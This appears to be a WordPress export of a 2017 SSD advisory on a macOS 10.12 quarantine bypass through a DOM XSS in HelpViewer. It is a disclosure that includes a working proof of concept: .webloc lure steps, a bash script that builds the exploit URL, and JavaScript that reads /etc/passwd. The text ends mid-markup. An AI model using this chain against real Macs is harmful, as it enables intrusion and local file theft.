{"id":9591,"date":"2017-09-28T14:19:20","date_gmt":"2017-09-28T22:19:20","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/09\/28\/news-3364\/"},"modified":"2017-09-28T14:19:20","modified_gmt":"2017-09-28T22:19:20","slug":"news-3364","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/09\/28\/news-3364\/","title":{"rendered":"SSD Advisory \u2013 Mac OS X 10.12 Quarantine Bypass"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Noam Rathaus| Date: Thu, 28 Sep 2017 20:52:32 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3449\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><\/p>\n<p><script>var obj = jQuery('#a-href-3449');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script>  \t\t<\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability summary<\/strong><br \/> Mac OS X contains a vulnerability that allows bypassing of the Apple Quarantine and the execution of arbitrary JavaScript code without any restrictions. <\/p>\n<p><strong>Credit<\/strong><br \/> A security researcher from WeAreSegment, Filippo Cavallarin, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<\/p>\n<p><strong>Vendor response<\/strong><br \/> Apple has been notified on the 27th of June 2017, several correspondences were exchanged. Apple notified us that a patch has been put in place in the upcoming High Sierra version. No additional information has been provided by Apple since the notification that a patch has been made &#8211; no link to the advisory nor any information on what CVE has been assigned to this have been provided.<\/p>\n<p>We have verified that Mac OS X High Sierra is no longer vulnerable to this, a solution would be to either upgrade High Sierra, or remove the rhtmlPlayer.html file (a workaround).<\/p>\n<p><span id=\"more-3449\"><\/span><\/p>\n<p><strong>Vulnerability details<\/strong><br \/> Apple&#8217;s Quarantine works by setting an extended attribute to downloaded files (and also to files extracted from downloaded archive\/image) that tells the system to open\/execute those files in a restricted environment.<\/p>\n<p>For example, a quarantined html file won&#8217;t be able to load local resources.<\/p>\n<p>The vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the execution of arbitrary JavaScript commands in its (unrestricted) context.<\/p>\n<p>The mentioned file is located at <em>\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html<\/em> and contains the following code:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59cd7567e26ba366042310\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">JavaScript<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;script type=&#8221;text\/javascript&#8221; charset=&#8221;utf-8&#8243;&gt;      setBasePathFromString(urlParam(&#8220;rhtml&#8221;));  loadLocStrings();  loadJavascriptLibs();    function init () { \/* &lt;&#8211; called by &lt;body onload=&#8221;init()&#8221; *\/    [&#8230;]        rHTMLPath = urlParam(&#8220;rhtml&#8221;); \/* &lt;&#8211; takes &#8216;rhtml&#8217; parameters from current url *\/        [&#8230;]        self.contentHttpReq.open(&#8216;GET&#8217;, rHTMLPath, true);    self.contentHttpReq.onreadystatechange = function() {        if (self.contentHttpReq.readyState == 4) {            loadTutorial(self.contentHttpReq.responseText);        }    }    [&#8230;]  }    function loadTutorial(response) {    var rHTMLPath = urlParam(&#8220;rhtml&#8221;);        \/\/ this will create a tutorialData item    eval(response);    [&#8230;]  }    function loadLocStrings()  {    var headID = document.getElementsByTagName(&#8220;head&#8221;)[0];             var rHTMLPath = urlParam(&#8220;rhtml&#8221;);        rHTMLPath = rHTMLPath.replace(&#8220;metaData.html&#8221;, &#8220;localizedStrings.js&#8221;);    var newScript = document.createElement(&#8216;script&#8217;);    newScript.type = &#8216;text\/javascript&#8217;;    newScript.src = rHTMLPath;    headID.appendChild(newScript);        }  [&#8230;]  &lt;\/script&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0040 seconds] -->  <\/p>\n<p>In short, it takes an URL from the &#8220;rhtml&#8221; query string parameter, makes a request to that URL and evaluates the response content as JavaScript code.<\/p>\n<p>The code below contains two different DOM Based XSS. The first is in the loadLocStrings() function that creates a SCRIPT element and uses the &#8220;rhtml&#8221; parameter as its &#8220;src&#8221; property. The second is in the init() function that uses the &#8220;rhtml&#8221; parameter to make an ajax call and then passes the response directly to eval(). As the result the same payload is executed twice.<\/p>\n<p>An attacker, by providing a data uri, can take control of the response and thus what gets evaluated.<\/p>\n<p>One possible vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads it in Safari when opened. By crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged JavaScript commands on the victim&#8217;s computer.<\/p>\n<p>Due to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar archive (or any other format that supports extended attributes).<\/p>\n<p><strong>Proof of Concept<\/strong><br \/> To reproduce the issue follow the steps below:<\/p>\n<ol>\n<li>Create a JavaScript file you want to execute on your target<\/li>\n<li>Convert its content to base64<\/li>\n<li>Encode it to a &#8220;uri component&#8221; (ex with encodeURIComponent js function)<\/li>\n<li>Use it to build a data uri as follow: <em>data:text\/plain;base64,&lt;urlencoded base64><\/em><\/li>\n<li>Prepend the following string to it <em>file:\/\/\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html?rhtml=<\/em><\/li>\n<li>Open it with Safari<\/li>\n<li>Save it as a bookmark<\/li>\n<li>Drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it)<\/li>\n<li>Create a tar archive containing the .webloc file<\/li>\n<li>Send it to the victim<\/li>\n<\/ol>\n<p>Note that due to the behavior of rhtmlPlayer.html, in order to access local resources, the first line of the JavaScript code must be:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59cd7567e26c5852531877\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">JavaScript<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> document.getElementsByTagName(&#8220;base&#8221;)[0].href=&#8221;&#8221;;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c5852531877-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c5852531877-1\"><span class=\"crayon-v\">document<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getElementsByTagName<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;base&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">href<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0004 seconds] -->  <\/p>\n<p>The following bash script will take a JavaScript file and converts it to final &#8220;file&#8221; URL:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59cd7567e26c8924967597\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> BOF  #!\/bin\/bash    BASEURL=&#8221;file:\/\/\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html?rhtml=&#8221;  BASEJS=&#8221;(function(){document.getElementsByTagName(&#8216;base&#8217;)[0].href=&#8221;;if(&#8216;_&#8217; in window)return;window._=1;&#8221;  DATAURI=&#8221;data:text\/plain;base64,&#8221;    JSFILE=$1    if [ &#8220;$JSFILE&#8221; = &#8220;&#8221; ]; then    echo &#8220;usage: $0 &lt;jsfile&gt;&#8221;    exit 1  fi    JS=$BASEJS`cat $JSFILE`&#8221;})();&#8221;  ENCJS=`echo -n $JS | base64 | sed &#8216;s\/=\/%3D\/g&#8217; | sed &#8216;s\/+\/%2F\/g&#8217; | sed &#8216;s\/\/\/%2B\/g&#8217;`  URL=&#8221;$BASEURL&#8221;&#8221;$DATAURI&#8221;&#8221;$ENCJS&#8221;    echo -ne &#8220;Paste the url below into Safari&#8217;s url bar:n\u000033[33m$URL\u000033[0mn&#8221;  EOF<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26c8924967597-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26c8924967597-20\">20<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-1\"><span class=\"crayon-v\">BOF<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-2\"><span class=\"crayon-p\">#!\/bin\/bash<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-3\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-4\"><span class=\"crayon-v\">BASEURL<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;file:\/\/\/System\/Library\/CoreServices\/HelpViewer.app\/Contents\/Resources\/rhtmlPlayer.html?rhtml=&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-5\"><span class=\"crayon-v\">BASEJS<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;(function(){document.getElementsByTagName(&#8216;base&#8217;)[0].href=&#8221;;if(&#8216;_&#8217; in window)return;window._=1;&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-6\"><span class=\"crayon-v\">DATAURI<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;data:text\/plain;base64,&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-7\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-8\"><span class=\"crayon-v\">JSFILE<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-9\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-10\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;$JSFILE&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">then<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-11\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;usage: $0 &lt;jsfile&gt;&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-12\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-i\">exit<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-13\"><span class=\"crayon-e\">fi<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-14\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-15\"><span class=\"crayon-v\">JS<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">BASEJS<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">cat<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">JSFILE<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-s\">&#8220;})();&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-16\"><span class=\"crayon-v\">ENCJS<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-v\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">n<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">JS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">base64<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">sed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;s\/=\/%3D\/g&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">sed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;s\/+\/%2F\/g&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">sed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;s\/\/\/%2B\/g&#8217;<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-17\"><span class=\"crayon-v\">URL<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;$BASEURL&#8221;<\/span><span class=\"crayon-s\">&#8220;$DATAURI&#8221;<\/span><span class=\"crayon-s\">&#8220;$ENCJS&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-18\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26c8924967597-19\"><span class=\"crayon-v\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">ne<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Paste the url below into Safari&#8217;s url bar:n\u000033[33m$URL\u000033[0mn&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26c8924967597-20\"><span class=\"crayon-v\">EOF<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0015 seconds] -->  <\/p>\n<p>The following Javascipt code will alert the <em>\/etc\/passwd<\/em> file on the victim&#8217;s computer:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59cd7567e26cb757266218\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> BOF  xhr = new XMLHttpRequest();  xhr.open(&#8220;GET&#8221;, &#8220;\/etc\/passwd&#8221;, true);  xhr.onreadystatechange = function(){   if (xhr.readyState == 4) {    alert(xhr.responseText);   }  };  xhr.send();  EOF<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26cb757266218-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26cb757266218-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26cb757266218-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26cb757266218-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26cb757266218-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26cb757266218-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26cb757266218-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26cb757266218-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59cd7567e26cb757266218-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59cd7567e26cb757266218-10\">10<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26cb757266218-1\"><span class=\"crayon-e\">BOF<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26cb757266218-2\"><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">XMLHttpRequest<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26cb757266218-3\"><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;GET&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/etc\/passwd&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26cb757266218-4\"><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">onreadystatechange<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26cb757266218-5\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">readyState<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26cb757266218-6\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">alert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">xhr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">responseText<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59cd7567e26cb757266218-7\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59cd7567e26cb757266218-8\"><span 